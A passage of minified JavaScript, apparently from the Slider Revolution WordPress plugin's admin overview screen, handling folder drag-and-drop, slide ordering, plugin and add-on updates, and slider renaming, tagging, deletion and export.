List"}),e},drawFolderListSideBar=function(e){sliderLibrary.filters=buildModuleFilters(),window.showFolderOverview=tpGS.gsap.timeline(),sliderLibrary.sfw[0].innerHTML="",window.showFolderOverview.add(tpGS.gsap.fromTo(sliderLibrary.sfw,.6,{display:"none",x:-400},{display:"block",x:0,ease:"power3.out"}),.1),window.showFolderOverview.add(tpGS.gsap.fromTo(sliderLibrary.sfwu,.3,{display:"none",autoAlpha:0},{display:"block",autoAlpha:.5,ease:"power3.out"}),0);var i=void 0===e?void 0:sliderLibrary.sliders[RVS.F.getOVSliderIndex(e)],r="first_fwlt";if(-1!==sliderLibrary.selectedFolder&&(sliderLibrary.sfw.append('<div class="folder_wrap_level_title '+r+'">'+RVS_LANG.toplevels+"</div>"),buildDroppableList(buildOVElement({id:-1,title:"Root",quicktype:"root",folder:!0,children:[]},!0),0),r=""),void 0!==i&&-1!==i.parent&&-1!==i.parent){var t=sliderLibrary.sliders[RVS.F.getOVSliderIndex(i.parent)];void 0!==t&&-1!==t.parent&&buildDroppableList(buildOVElement({id:t.parent,title:"Parent",quicktype:"parent",folder:!0,children:[]},!0),0)}var s=!1;for(var a in sliderLibrary.filters.folders)if(sliderLibrary.filters.folders.hasOwnProperty(a)){var d=RVS.F.getOVSliderIndex(sliderLibrary.filters.folders[a].id);void 0!==i&&void 0!==sliderLibrary.sliders[d]&&i.parent!==sliderLibrary.sliders[d].parent||-1!==d&&(!1===s&&(sliderLibrary.sfw.append('<div class="folder_wrap_level_title '+r+'">'+RVS_LANG.siblings+"</div>"),s=!0,r=""),buildDroppableList(buildOVElement({id:sliderLibrary.filters.folders[a].id,title:sliderLibrary.sliders[d].title,folder:!0,children:sliderLibrary.sliders[d].children},!0),a))}for(var a in s=!1,sliderLibrary.filters.folders)if(sliderLibrary.filters.folders.hasOwnProperty(a)){d=RVS.F.getOVSliderIndex(sliderLibrary.filters.folders[a].id);void 0!==i&&void 0!==sliderLibrary.sliders[d]&&i.parent===sliderLibrary.sliders[d].parent||void 0!==i&&i.parent===sliderLibrary.filters.folders[a].id||-1!==d&&(!1===s&&(sliderLibrary.sfw.append('<div class="folder_wrap_level_title '+r+'">'+RVS_LANG.otherfolders+"</div>"),s=!0,r=""),buildDroppableList(buildOVElement({id:sliderLibrary.filters.folders[a].id,title:sliderLibrary.sliders[d].title,folder:!0,children:sliderLibrary.sliders[d].children},!0),a))}sliderLibrary.sfw.RSScroll({wheelPropagation:!1})},buildDroppableList=function(e,i){window.showFolderOverview.add(tpGS.gsap.from(e,.2,{x:"-150%",ease:"power3.out"}),.2+.04*i),doOVDroppable(e),sliderLibrary.sfw.append(e)},doOVDroppable=function(e){e.droppable({drop:function(i,r){var t=this.dataset.sliderid,s=r.draggable[0].dataset.sliderid,a=RVS.F.getOVSliderIndex(t),l=RVS.F.getOVSliderIndex(s);if(t!==s){if(-1!=sliderLibrary.sliders[l].parent){var o=RVS.F.getOVSliderIndex(sliderLibrary.sliders[l].parent);sliderLibrary.sliders[o].children.splice(jQuery.inArray(s,sliderLibrary.sliders[o].children),1),RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.sliders[o].id,children:sliderLibrary.sliders[o].children},function(e){})}-1!=e&&-1!==a&&(sliderLibrary.sliders[a].children=void 0===sliderLibrary.sliders[a].children||0===sliderLibrary.sliders[a].children.length?[]:sliderLibrary.sliders[a].children,sliderLibrary.sliders[a].children.push(s),RVS.F.ajaxRequest("save_slider_folder",{id:t,children:sliderLibrary.sliders[a].children},function(e){})),sliderLibrary.filters=buildModuleFilters(),sliderLibrary.sliders[l].parent=t,d({keepOverlay:!1}),updateOVFilteredList({force:!0,keeppage:!0,noanimation:!1})}return window.showFolderOverview.reverse(),window.droppedIntoFolder=!0,!1}})},doOVDraggable=function(e){e.data("draggable")&&e.draggable("destroy"),e.draggable({distance:20,helper:"clone",appendTo:"body",revert:"invalid",start:function(e,i){window.droppedIntoFolder=!1,drawFolderListSideBar(i.helper[0].dataset.sliderid)},stop:function(e,i){!1===window.droppedIntoFolder&&(window.showFolderOverview.reverse(),d({keepOverlay:!1}),updateOVFilteredList({force:!0,keeppage:!0,noanimation:!1}))}})},doOVSortable=function(e){e.data("sortable")&&e.sortable("destroy"),e.sortable({items:".rs_library_element",start:function(){d({keepOverlay:!1}),RVS.S.OVslidesOldOrder=[],e.find(".rs_library_element").each(function(e){var i=(""+this.dataset.slideid).replace("slide_id_","");void 0!==i&&"undefined"!==i&&RVS.S.OVslidesOldOrder.push(i)})},stop:function(i,r){RVS.S.OVslidesNeworder=[],e.find(".rs_library_element").each(function(e){var i=(""+this.dataset.slideid).replace("slide_id_","");if(slide=sliderLibrary.slides[this.dataset.sliderid][i],slide.order=e+1,slide.ref.find(".slide_order_number").html("#"+(e+1)),RVS.S.OVslidesNeworder.push(i),0===e){var r=RVS.F.getOVSliderIndex(this.dataset.sliderid);sliderLibrary.sliders[r].bg.type=void 0===slide.bg?slide.customAdminThumbSrc.type:slide.bg.type,sliderLibrary.sliders[r].bg.src=void 0===slide.bg?slide.customAdminThumbSrc.src:slide.bg.src,sliderLibrary.sliders[r].bg.style=void 0===slide.bg?slide.customAdminThumbSrc.style:slide.bg.style,RVS.F.setObjBg(sliderLibrary.sliders[r],sliderLibrary.sliders[r].ref.find(".image_container"))}}),RVS.S.OVslidesOldOrder.toString()!==RVS.S.OVslidesNeworder.toString()&&RVS.F.ajaxRequest("update_slide_order",{slide_ids:RVS.S.OVslidesNeworder},function(e){})}})},initTwitter=function(e){var i,r=document.getElementsByTagName("script")[0];return(i=RVS.F.cE({t:"script"})).id=e,i.src="https://platform.twitter.com/widgets.js",r.parentNode.insertBefore(i,r),window.waitForTwitter=setInterval(function(){if(jQuery("#twitter_wrapper iframe").contents().find(".timeline-Widget").length>0){var e=jQuery("#twitter_wrapper iframe").contents();e.find(".timeline-Widget").css({backgroundColor:"transparent"}),e.find(".timeline-Body").css({borderColor:"#323438"}),e.find(".timeline-Tweet-text").css({fontSize:"14px",lineHeight:"22px"}),e.find(".timeline-Header").hide(),e.find(".timeline-TweetList-tweet").css({borderColor:"#323438",paddingTop:"20px"}),e.find(".timeline-Tweet--isRetweet").closest("li").remove(),e.find(".timeline-LoadMore").remove(),e.find(".TwitterCard-container").css({borderColor:"#323438"}),clearInterval(window.waitForTwitter)}},100),{}},updateSysChecks=function(){for(var e in window.rs_system)if(window.rs_system.hasOwnProperty(e)){var i=window.rs_system[e];"object"==typeof i&&1==i.good||!0===i||"1"===i?jQuery("#syscheck_"+e).removeClass("warning"):jQuery("#syscheck_"+e).addClass("warning")}},checkAddOnVersions=function(){if("true"===RVS.ENV.activated||!0===RVS.ENV.activated){var e="";for(var i in RVS.ENV.addOns_to_update=void 0===RVS.ENV.addOns_to_update?{}:RVS.ENV.addOns_to_update,RVS.ENV.addOns_to_updateArray=[],window.addOnUpdateCounter=0,RVS.ENV.addOns_to_update)RVS.ENV.addOns_to_updateArray.push(i),e+='<div id="need_update_'+i+'" class="addonlist_to_update">'+RVS.ENV.addOns_to_update[i].title+" "+RVS_LANG.from+" "+RVS.ENV.addOns_to_update[i].old+" "+RVS_LANG.to+" "+RVS.ENV.addOns_to_update[i].new+'<div class="addonlist_to_update_single_status circle-loader"><div class="checkmark draw"></div></div></div>';""!==e&&RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"extension",title:RVS_LANG.addonsupdatetitle,maintext:RVS_LANG.addonsupdatemain,subtext:e,do:{icon:"check_circle",text:RVS_LANG.updateallnow,event:"updateAddonsNow",keepDialog:!0},cancel:{icon:"cancel",text:RVS_LANG.updatelater},swapbuttons:!0})}},updateNextRequiredAddon=function(){if(window.addOnUpdateCounter<RVS.ENV.addOns_to_updateArray.length){var e=RVS.ENV.addOns_to_updateArray[window.addOnUpdateCounter],i=RVS.ENV.addOns_to_update[e],r=jQuery("#need_update_"+e);r.find(".addonlist_to_update_single_status").addClass("inload"),RVS.F.ajaxRequest("activate_addon",{addon:e,update:!0},function(e){e.success?(r.find(".addonlist_to_update_single_status").removeClass("inload").addClass("load-complete"),i.updated=!0):r.find(".addonlist_to_update_single_status").removeClass("inload").addClass("load-complete").addClass("failure"),window.addOnUpdateCounter++,updateNextRequiredAddon()},!1)}else jQuery("#decmod_do_btn").html('<i id="decmod_do_icon" class="material-icons">done</i><span id="decmod_do_txt">'+RVS_LANG.updatedoneexist,NaN).show().off("click").on("click",function(){RVS.F.RSDialog.close(),RVS.F.RSDialog.close()})},initLocalListeners=function(){RVS.WIN.on("resize",function(){clearTimeout(window.resizedOverviewTimeOut),window.resizedOverviewTimeOut=setTimeout(function(){var e=Math.floor((sliderLibrary.output.width()+30)/290);e=e<1?1:e,sliderLibrary.maxAmountPerPage!==e&&updateOVFilteredList({force:!0,keeppage:!0,noanimation:!0})},10)}),RVS.DOC.on("updateAddonsNow",function(){updateNextRequiredAddon(),jQuery("#decmod_dont_btn").hide(),jQuery("#decmod_do_btn").hide()}),RVS.DOC.on("click",".rs_lib_premium_red_hover",function(){RVS.F.scrollToOvRegister()}),RVS.DOC.on("updateThePlugin",function(){wp.updates.maybeRequestFilesystemCredentials(),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.updatingplugin});var e={plugin:RVS.ENV.slug_path,slug:RVS.ENV.slug,checkforupdates:!0,success:function(e){RVS.F.showWaitAMinute({fadeOut:0}),RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updateplugin,maintext:"",subtext:RVS_LANG.updatepluginsuccesssubtext+" <strong>"+e.newVersion+"</strong>",do:{icon:"check_circle",text:RVS_LANG.reloadpage,event:"reloadpagenow"}})},error:function(e){RVS.F.showWaitAMinute({fadeOut:0});var i="<br>";for(var r in e.debug)i+="<span style='white-space: nowrap;overflow: hidden;width: 400px;margin-bottom: 5px;font-size: 12px;display: block;'>- "+e.debug[r]+"</span>";i+="<span style='white-space: nowrap;overflow: hidden;width: 400px;margin-bottom: 5px;font-size: 12px;display: block;'>"+RVS_LANG.tryagainlater+"</span>",RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updatepluginfailed,maintext:RVS_LANG.updatepluginfailure,subtext:(void 0!==e&&void 0!==e.errorMessage&&e.errorMessage.indexOf("PCLZIP_ERR_BAD_FORMAT")>=0?RVS_LANG.licenseissue:e.errorMessage)+"<br>"+i,do:{icon:"error",text:RVS_LANG.leave,event:""}})}};wp.updates.ajax("update-plugin",e)}),RVS.DOC.on("click","#updateplugin, #updateplugin_sc",function(){if(!(!0!==RVS.ENV.allow_update&&RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)<=0))if(this.className.indexOf("halfdisabled")>=0){s();var e={val:window.scroll_top};tpGS.gsap.to(e,.6,{val:window.ov_scroll_targets[2].top-200,onUpdate:function(){RVS.WIN.scrollTop(e.val)},ease:"power3.out"}),s()}else RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updateplugin,maintext:RVS_LANG.areyousureupdateplugin,subtext:RVS_LANG.updatingtakes,do:{icon:"check_circle",text:RVS_LANG.updatenow,event:"updateThePlugin"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})}),RVS.F.clearSlidesOverview=function(e){if(void 0!==sliderLibrary.slides[e]){for(var i in sliderLibrary.slides[e])sliderLibrary.slides[e].hasOwnProperty(i)&&sliderLibrary.slides[e][i].ref.remove();sliderLibrary.slides[e]=void 0}},RVS.F.buildSlidesOverview=function(e){sliderLibrary.selectedSlider=e,d({keepOverlay:!1});jQuery(".overview_elements");sliderLibrary.slides=void 0===sliderLibrary.slides?{}:sliderLibrary.slides,sliderLibrary.inSlideMode=!0,void 0===sliderLibrary.slides[sliderLibrary.selectedSlider]?(sliderLibrary.slides[sliderLibrary.selectedSlider]={},RVS.F.ajaxRequest("get_slides_by_slider_id",{id:e},function(e){if(e.success){for(var i in e.slides)e.slides.hasOwnProperty(i)&&(sliderLibrary.slides[sliderLibrary.selectedSlider][e.slides[i].id]=jQuery.extend(!0,{},e.slides[i]));t(),drawOVOverview()}})):(t(),drawOVOverview())},RVS.DOC.on("click",".link_to_slides_overview",function(){RVS.F.buildSlidesOverview(this.dataset.id)}),RVS.DOC.on("reloadpagenow",function(){tpGS.gsap.to(jQuery("#wpwrap"),.5,{opacity:0}),jQuery("#waitaminute").appendTo("body"),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.reLoading}),window.location.reload()}),RVS.DOC.on("click",".link_to_slideadmin_a",function(){"A"==this.tagName&&void 0!==this.href&&(tpGS.gsap.to(jQuery("#wpwrap"),.5,{opacity:0}),jQuery("#waitaminute").appendTo("body"),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.editorisLoading+"<span style='display:block;font-size:20px;line-height:25px'>"+RVS_LANG.opening+" "+this.dataset.title+"</span>"}))}),RVS.DOC.on("click",".link_to_quickeditor",function(){var e=jQuery(this).closest(".rs_library_element");RVS.F.openQuickContent({sliderid:e[0].dataset.sliderid})}),RVS.DOC.on("mouseenter",".link_to_slideadmin, .link_to_slides_overview",function(){var e=jQuery(this).closest(".rs_library_element"),i=e.find(".rs_library_el_next");e.find(".title_container")[0]!==document.activeElement&&(i.show(),i.html(this.dataset.info))}),RVS.DOC.on("mousemove",".link_to_quickeditor, .link_to_quickstyleeditor, .link_to_slideadmin_a",function(){var e=jQuery(this).closest(".rs_library_element"),i=e.find(".rs_library_el_next");e.find(".title_container")[0]!==document.activeElement&&(i.show(),i.html(this.dataset.info))}),RVS.DOC.on("mouseleave",".link_to_slideadmin, .link_to_slides_overview",function(){var e=jQuery(this);e.closest(".rs_library_element").find(".rs_library_el_next").hide(),clearTimeout(e.data("tlcount")),void 0!==e.data("tl")&&e.data("tlcount",setTimeout(function(){e.data("tl").reverse()},200))}),RVS.DOC.on("click","#back_one_folder",function(){if(sliderLibrary.inSlideMode)sliderLibrary.inSlideMode=!1,sliderLibrary.output.find(".overview_elements").find(".rs_library_element").detach();else{var e=RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder);sliderLibrary.selectedFolder=sliderLibrary.sliders[e].parent||-1}resetAllOVFilters(),updateOVFilteredList({force:!0,keeppage:!1,noanimation:!1})}),RVS.DOC.on("click",".rsl_breadcrumb",function(){sliderLibrary.inSlideMode&&(sliderLibrary.inSlideMode=!1,sliderLibrary.output.find(".overview_elements").find(".rs_library_element").detach()),sliderLibrary.selectedFolder=parseInt(this.dataset.folderid,0),updateOVFilteredList({force:!0,keeppage:!1,noanimation:!1})}),RVS.DOC.on("click","#slider_folders_wrap_underlay",function(){window.showFolderOverview.reverse()}),RVS.DOC.on("click","#add_folder",function(e,i){RVS.F.createNewFolder(i)}),RVS.DOC.on("click","#rs_db_force_create",function(e,i){RVS.F.ajaxRequest("fix_database_issues",{},function(e){},!1)}),RVS.DOC.on("click","#rs_force_clear_cache",function(e,i){RVS.F.ajaxRequest("clear_internal_cache",{},function(e){},!1)}),RVS.DOC.on("click","#rs_trigger_font_deletion",function(e,i){RVS.F.ajaxRequest("trigger_font_deletion",{},function(e){},!1)}),RVS.DOC.on("click","#reset_sorting",function(){jQuery("#sel_overview_sorting").val("datedesc").ddTP("change"),RVS.DOC.trigger("updateSlidersOverview",{val:"datedesc",eventparam:"#reset_sorting",ignoreCookie:!0})}),RVS.DOC.on("click","#reset_filtering",function(){jQuery("#sel_overview_filtering").val("all").ddTP("change"),RVS.DOC.trigger("updateSlidersOverview",{val:"all",eventparam:"#reset_filtering",ignoreCookie:!0})}),RVS.DOC.on("updateSlidersOverview",function(e,i){if(void 0!==i&&void 0!==i.eventparam){var r="#reset_sorting"===i.eventparam?"datedesc"===i.val?0:1:"all"===i.val?0:1,t=1===r?"inline-block":"none";tpGS.gsap.set(i.eventparam,{autoAlpha:r,display:t})}void 0===i||i.ignoreRebuild||(void 0!==i.val&&!0!==i.ignoreCookie&&RVS.F.setCookie("rs6_overview_pagination",i.val,360),d({keepOverlay:!1}),updateOVFilteredList({force:!0,keeppage:!1,noanimation:!1}))}),RVS.DOC.on("click",".global_library_pagination",function(){d({keepOverlay:!1}),jQuery(".global_library_pagination.selected").removeClass("selected"),jQuery(this).addClass("selected"),sliderLibrary.selectedPage=-9999===parseInt(this.dataset.page,0)?sliderLibrary.selectedPage=parseInt(sliderLibrary.selectedPage,0)-3:9999===parseInt(this.dataset.page,0)?sliderLibrary.selectedPage=parseInt(sliderLibrary.selectedPage,0)+3:this.dataset.page,smartPagination(),drawOVOverview()}),RVS.DOC.on("keyup","#searchmodules",function(){d({keepOverlay:!1}),clearTimeout(window.searchKeyUp),window.searchKeyUp=setTimeout(function(){updateOVFilteredList()},200)}),RVS.DOC.on("ddTP:select ddTP:unselect",".elementtags",function(e){var i=RVS.F.getOVSliderIndex(e.target.dataset.id);for(var r in sliderLibrary.sliders[i].tags=[],e.target.options)e.target.options.hasOwnProperty(r)&&void 0!==e.target.options[r]&&e.target.options[r].selected&&sliderLibrary.sliders[i].tags.push(RVS.F.sanitize_input(e.target.options[r].value.toLowerCase()));RVS.F.ajaxRequest("update_slider_tags",{id:sliderLibrary.sliders[i].id,tags:sliderLibrary.sliders[i].tags},function(e){},!1),sliderLibrary.filters=buildModuleFilters(),jQuery(".elementtags").each(function(){var e=jQuery(this);this.dataset.id;for(var i in e.find("option").remove(),sliderLibrary.filters.tags)if(sliderLibrary.filters.tags.hasOwnProperty(i)){var r=RVS.F.sanitize_input(sliderLibrary.filters.tags[i].toLowerCase()),t=RVS.F.getOVSliderIndex(this.dataset.id),s=jQuery.inArray(r,sliderLibrary.sliders[t].tags)>=0?' selected="selected" ':"";e.append('<option value="'+r+'" '+s+">"+r+"</option>")}e.ddTP("update")})}),RVS.DOC.on("keyup",".title_container",function(e){13===e.keyCode&&(jQuery(document.activeElement).blur(),d({keepOverlay:!1}))}),RVS.DOC.on("click",".show_rsle, .rsle_folder",function(){var e=jQuery(this).closest(".rs_library_element"),i=e.find(".rsle_tbar"),r=e.hasClass("selected"),t=e.attr("id"),s=e[0].dataset.sliderid,a=(""+e[0].dataset.slideid).replace("slide_id_","");r?(d({keepOverlay:!1}),window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText)):(d({keepOverlay:!0,id:t}),clearTimeout(window.unsetFocusOverviewOverlay),e.addClass("selected").addClass("menuopen"),tpGS.gsap.fromTo(i,.3,{y:"-100%"},{opacity:1,y:"0%",ease:"power3.out"}),jQuery(".overview_elements").addClass("infocus"),window.lastBreacCrumbText=sliderLibrary.inSlideMode?sliderLibrary.slides[s][a].title:sliderLibrary.sliders[RVS.F.getOVSliderIndex(s)].title,jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText))}),RVS.DOC.on("mouseenter",".rs_library_element",function(){sliderLibrary.inSlideMode?jQuery("#rsl_bread_selected").html(sliderLibrary.slides[this.dataset.sliderid][(""+this.dataset.slideid).replace("slide_id_","")].title):-1!=this.dataset.sliderid&&jQuery("#rsl_bread_selected").html(sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.sliderid)].title)}),RVS.DOC.on("mouseleave",".rs_library_element",function(){window.lastBreacCrumbText=void 0===window.lastBreacCrumbText?"":window.lastBreacCrumbText,jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText)}),RVS.DOC.on("click",".overview_elements_overlay",function(){d({keepOverlay:!1})}),RVS.DOC.on("click",".tagsslider",function(){var e=jQuery(this).closest(".rs_library_element");e.toggleClass("in_tag_view"),e.removeClass("in_folder_view")}),RVS.DOC.on("click",".renameslider",function(){jQuery(this).closest(".rs_library_element").find(".title_container").trigger("focus")}),RVS.DOC.on("click",".unpublishslide",function(){var e=jQuery(this).closest(".rs_library_element"),i=this.dataset.id,r=this.dataset.slideid;sliderLibrary.inSlideMode&&RVS.F.ajaxRequest("save_slide_advanced",{slide_id:r,params:{publish:{state:"unpublished"}},slider_id:i},function(i){i.success&&e.addClass("unpublished")})}),RVS.DOC.on("click",".duplicateslide",function(){jQuery(this).closest(".rs_library_element");var e=this.dataset.id,i=this.dataset.slideid;sliderLibrary.inSlideMode&&RVS.F.ajaxRequest("duplicate_slide",{slide_id:i,slider_id:e},function(i){i.success&&(RVS.F.clearSlidesOverview(e),RVS.F.buildSlidesOverview(e))})}),RVS.DOC.on("click",".publishslide",function(){var e=jQuery(this).closest(".rs_library_element");sliderId=this.dataset.id,slideId=this.dataset.slideid,sliderLibrary.inSlideMode&&RVS.F.ajaxRequest("save_slide_advanced",{slide_id:slideId,params:{publish:{state:"published"}},slider_id:sliderId},function(i){i.success&&e.removeClass("unpublished")})}),RVS.DOC.on("click",".adminthumb",function(){jQuery(this).closest(".rs_library_element");var e=RVS.F.getOVSliderIndex(this.dataset.id),i=this.dataset.id,r=this.dataset.slideid;RVS.F.openAddImageDialog(RVS_LANG.choose_image,function(t,s){RVS.F.ajaxRequest("save_slide_advanced",{slide_id:r,params:{thumb:{customAdminThumbSrc:t,customAdminThumbSrcId:s}},slider_id:i},function(s){d({keepOverlay:!1}),s.success&&(sliderLibrary.sliders[e].bg.type="image",sliderLibrary.sliders[e].bg.src=t,RVS.F.setObjBg(sliderLibrary.sliders[e],sliderLibrary.sliders[e].ref.find(".image_container")),void 0!==sliderLibrary.slides&&void 0!==sliderLibrary.slides[i]&&void 0!==sliderLibrary.slides[i][r]&&(sliderLibrary.slides[i][r].bg={type:"image",src:t},RVS.F.setObjBg(sliderLibrary.slides[i][r],sliderLibrary.slides[i][r].ref.find(".image_container"))))})},!1)}),RVS.DOC.on("change",".title_container",function(){var e=this,i=RVS.F.getOVSliderIndex(this.dataset.id),r=this.dataset.id,t=this.dataset.slideid,s=this.value;sliderLibrary.inSlideMode?RVS.F.ajaxRequest("save_slide_advanced",{slide_id:t,params:{title:this.value},slider_id:r},function(i){i.success&&(e.value=s),sliderLibrary.slides[r][t].title=s}):RVS.F.ajaxRequest("update_slider_name",{id:this.dataset.id,title:this.value},function(r){r.success&&(e.value=r.title),sliderLibrary.sliders[i].title=r.title})}),RVS.DOC.on("click",".optimizeslider",function(){RVS.F.openOptimizer({sliderid:this.dataset.id})}),RVS.DOC.on("click",".deleteslider",function(){if(sliderLibrary.inSlideMode){window.deleteSlide=this.dataset.slideid,window.deleteSlide_sliderId=this.dataset.id,d({keepOverlay:!1});var e=0;for(var i in sliderLibrary.slides[sliderLibrary.selectedSlider])sliderLibrary.slides[sliderLibrary.selectedSlider].hasOwnProperty(i)&&e++;e<2?RVS.F.showInfo({content:RVS_LANG.lastslidenodelete,type:"error",showdelay:0,hidedelay:2,hideon:"",event:""}):RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslide,maintext:RVS_LANG.cannotbeundone,subtext:RVS_LANG.areyousuretodelete+"<strong>"+sliderLibrary.slides[sliderLibrary.selectedSlider][window.deleteSlide].title+"</strong> ?",do:{icon:"delete",text:RVS_LANG.yesdeleteslide,event:"deletemarkedslide"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})}else{var r=RVS.F.getOVSliderIndex(this.dataset.id);d({keepOverlay:!1}),window.deleteSlidersIndex=0,sliderLibrary.sliders[r].folder?(window.deleteSliders=function e(i,r){i=void 0===i?[]:i;var t=sliderLibrary.sliders[r];for(var s in t.children)if(t.children.hasOwnProperty(s)){var a=RVS.F.getOVSliderIndex(t.children[s]);sliderLibrary.sliders[a]&&sliderLibrary.sliders[a].folder&&(i=e(i,a)),sliderLibrary.sliders[a]&&i.push(t.children[s])}return i}([],r),window.deleteSliders.push(this.dataset.id),RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslider,maintext:RVS_LANG.cannotbeundone,subtext:RVS_LANG.areyousuretodeleteeverything+" <strong>"+sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)].title+"</strong> ?",do:{icon:"delete",text:RVS_LANG.yesdeleteall,event:"deletemarkedslider"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})):(window.deleteSliders=[this.dataset.id],RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslider,maintext:RVS_LANG.cannotbeundone,subtext:RVS_LANG.areyousuretodelete+" <strong>"+sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)].title+"</strong> ?",do:{icon:"delete",text:RVS_LANG.yesdelete,event:"deletemarkedslider"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}))}}),RVS.DOC.on("deletemarkedslide",function(){RVS.F.ajaxRequest("delete_slide",{slide_id:window.deleteSlide,slider_id:window.deleteSlide_sliderId},function(e){e.success&&void 0!==sliderLibrary.slides[sliderLibrary.selectedSlider][window.deleteSlide]&&(RVS.F.clearSlidesOverview(window.deleteSlide_sliderId),RVS.F.buildSlidesOverview(window.deleteSlide_sliderId))},void 0,void 0,RVS_LANG.deletingsingleslide+"<span style='display:block;font-size:20px;line-height:25px'>"+sliderLibrary.slides[sliderLibrary.selectedSlider][window.deleteSlide].title+"</span>")}),RVS.DOC.on("deletemarkedslider",function(){window.deletedSliderSINDEX=RVS.F.getOVSliderIndex(window.deleteSliders[window.deleteSlidersIndex]),window.mayDeleteFolder=sliderLibrary.sliders[window.deletedSliderSINDEX],RVS.F.ajaxRequest("delete_slider",{id:window.deleteSliders[window.deleteSlidersIndex]},function(e){if(e.success){if(void 0!==window.mayDeleteFolder&&-1!=window.mayDeleteFolder.parent){var i=RVS.F.getOVSliderIndex(window.mayDeleteFolder.parent);sliderLibrary.sliders[i]?sliderLibrary.sliders[i].children.splice(jQuery.inArray(window.mayDeleteFolder.id,sliderLibrary.sliders[i].children),1):console.log("Info:Folder with Index "+i+"  is not existing any more.")}sliderLibrary.sliders[window.deletedSliderSINDEX]&&sliderLibrary.sliders[window.deletedSliderSINDEX].ref&&sliderLibrary.sliders[window.deletedSliderSINDEX].ref.remove(),jQuery("#slide_id_"+window.deleteSliders[window.deleteSlidersIndex]).remove(),sliderLibrary.sliders.splice(window.deletedSliderSINDEX,1)}window.deleteSlidersIndex++,window.deleteSlidersIndex<window.deleteSliders.length?RVS.DOC.trigger("deletemarkedslider"):(sliderLibrary.filters=buildModuleFilters(),updateOVFilteredList({force:!0,keeppage:!0,noanimation:!1}))},void 0,void 0,RVS_LANG.deletingslider+"<span style='display:block;font-size:20px;line-height:25px'>"+(sliderLibrary.sliders[window.deletedSliderSINDEX]?sliderLibrary.sliders[window.deletedSliderSINDEX].alias:window.deletedSliderSINDEX)+"</span>")}),RVS.DOC.on("click",".exportslider, .exporthtmlslider",function(){var e=this.className.indexOf("exportslider")>=0?"export_slider":"export_slider_html";window.exportSliders=[this.dataset.id],window.exportSlidersIndex=0,RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"cloud_download",title:RVS_LANG.exportslider+("export_slider_html"===e?" "+RVS_LANG.ashtmlexport:""),maintext:RVS_LANG.exportslidertxt,subtext:RVS_LANG.areyousuretoexport+sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)].alias,do:{icon:"cloud_download",text:RVS_LANG.yesexport,event:"exportmarkedslider",eventparam:e},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})}),RVS.DOC.on("exportmarkedslider",function(e,i){d({keepOverlay:!1}),window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText),location.href=ajaxurl+(-1===ajaxurl.indexOf("?")?"?":"&")+"action="+RVS.ENV.plugin_dir+"_ajax_action&client_action="+i+"&nonce="+RVS.ENV.nonce+"&id="+window.exportSliders[window.exportSlidersIndex]}),RVS.DOC.on("click","#collapse-button",a),RVS.DOC.on("click","#rbm_globalsettings .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("click",".rso_scrollmenuitem",function(){if("globalsettings"!==this.id){if("rso_menu_notices"!==this.id&&"rso_menu_updatewarning"!==this.id){if("contactsupport"===this.id)return"true"!==RVS.ENV.activated&&!0!==RVS.ENV.activated?void RVS.F.showRegisterSliderInfo():void window.open("https://support.sliderrevolution.com/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=support","_blank");if("linktodocumentation"!==this.id)if("buynow_notregistered"!==this.id){s();var e={val:window.scroll_top};tpGS.gsap.to(e,.6,{val:window.ov_scroll_targets[this.dataset.ostref].top-200,onUpdate:function(){RVS.WIN.scrollTop(e.val)},ease:"power3.out"}),s()}else window.open("https://account.sliderrevolution.com/portal/pricing/","_blank");else window.open("https://www.sliderrevolution.com/help-center/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=faq","_blank")}}else openGlobalSettings()}),RVS.WIN.on("resize",a).on("scroll",s),RVS.DOC.on("click",".enter_into_folder",function(){sliderLibrary.selectedFolder=this.dataset.folderid,resetAllOVFilters(),updateOVFilteredList()}),RVS.DOC.on("click","#new_blank_slider",function(){tpGS.gsap.to(jQuery("#wpwrap"),.5,{opacity:0}),jQuery("#waitaminute").appendTo("body"),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.editorisLoading+"<span style='display:block;font-size:20px;line-height:25px'>"+RVS_LANG.addingnewblankmodule+"</span>"}),RVS.F.ajaxRequest("create_slider",{},function(e){if(e.success){var i=RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder);if(-1!==i){sliderLibrary.sliders[i].children.push(e.slider_id);var 